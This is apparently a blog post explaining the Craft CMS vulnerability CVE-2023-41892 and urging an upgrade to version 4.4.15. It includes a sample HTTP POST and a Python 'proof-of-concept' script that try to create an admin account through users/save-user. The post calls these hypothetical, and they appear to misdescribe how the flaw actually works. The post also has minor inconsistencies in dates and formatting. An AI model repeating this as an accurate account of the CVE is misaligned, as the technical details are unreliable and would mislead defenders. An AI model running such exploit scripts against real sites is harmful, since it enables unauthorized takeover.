Craft CMS is a popular, flexible platform used to build everything from small websites to enterprise-level digital experiences. But like all software, it can have vulnerabilities. In late 2023, security researchers discovered a serious flaw—CVE-2023-41892—that could let an attacker take control of your website. If your Craft CMS is not updated to version 4.4.15 or later, your site may be at risk.

This post breaks down what CVE-2023-41892 means, how an attacker could exploit it, and what you need to do to keep your site safe.

What is CVE-2023-41892?

CVE-2023-41892 is a high-impact, low-complexity vulnerability affecting Craft CMS installations before version 4.4.15. The issue allows attackers to exploit your site with minimal effort. That means bots or malicious users can take advantage of this bug—even if they aren't very skilled.

According to the official GitHub security advisory, the vulnerability allows an attacker to perform unauthorized actions on your Craft CMS installation.

The attack is low-complexity: It doesn't need special skills or insider knowledge.

- The impact is high: Attackers could potentially gain unauthorized access, modify content, or even inject malicious code.
- The exploit targets a vulnerability in the way certain user input is handled. Craft CMS failed to properly sanitize a critical part of requests, opening a path for attackers.

Example Attack Scenario (Pseudocode)

Suppose you have a Craft CMS site running a version before 4.4.15. An attacker could craft a malicious HTTP POST request that looks like this:

POST /index.php?action=users/save-user HTTP/1.1
Host: your-site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: ###

username=hacker&password=P@sswrd!&admin=1

Normally, Craft CMS should prevent users from escalating their privileges or adding admin users this way. But because of CVE-2023-41892, this check could be bypassed—letting anyone create a new admin account.

> Note: This is a simplified example. The actual payload and method might differ, depending on the specifics of the vulnerability.

Proof-of-Concept Exploit

Let's see a simulated exploit script (Python using requests), for demonstration and educational purposes only:

import requests

url = 'https://your-site.com/index.php?action=users/save-user';
data = {
    'username': 'eviladmin',
    'password': 'StrongPass123!',
    'admin': '1',  # This shouldn't be allowed!
}

s = requests.Session()
response = s.post(url, data=data)

if response.status_code == 200 and 'success' in response.text.lower():
    print("Exploit succeeded: user created!")
else:
    print("Exploit failed or site is patched.")

Again, this is a hypothetical demonstration. The actual impact depends on your site’s configuration and the exploit details.

What Should You Do?

Update! If your site runs Craft CMS below 4.4.15, you need to upgrade immediately. The Craft team fixed the bug in version 4.4.15.

`sh

composer require craftcms/cms:^4.4.15
php craft update/all

Test your site after updating to ensure everything works.

Don’t put this off: Attacks exploiting public vulnerabilities can happen within days (or hours) of disclosure.

References & Original Sources

- Craft CMS GitHub Security Advisory: GHSA-4j6h-vxjw-7jvr
- CVE-2023-41892 at NVD
- Craft CMS Release Notes

Final Thoughts

CVE-2023-41892 is a reminder that even widely trusted platforms like Craft CMS can have security issues. Thankfully, with a simple update, you can protect your digital experiences and keep your users safe. Act now, and spread the word to anyone you know running Craft CMS!

If you have questions about this vulnerability or need help updating, check out the Craft CMS support docs or reach out on their community forums.

Timeline

Published on: 09/13/2023 20:15:08 UTC
Last modified on: 09/19/2023 01:38:16 UTC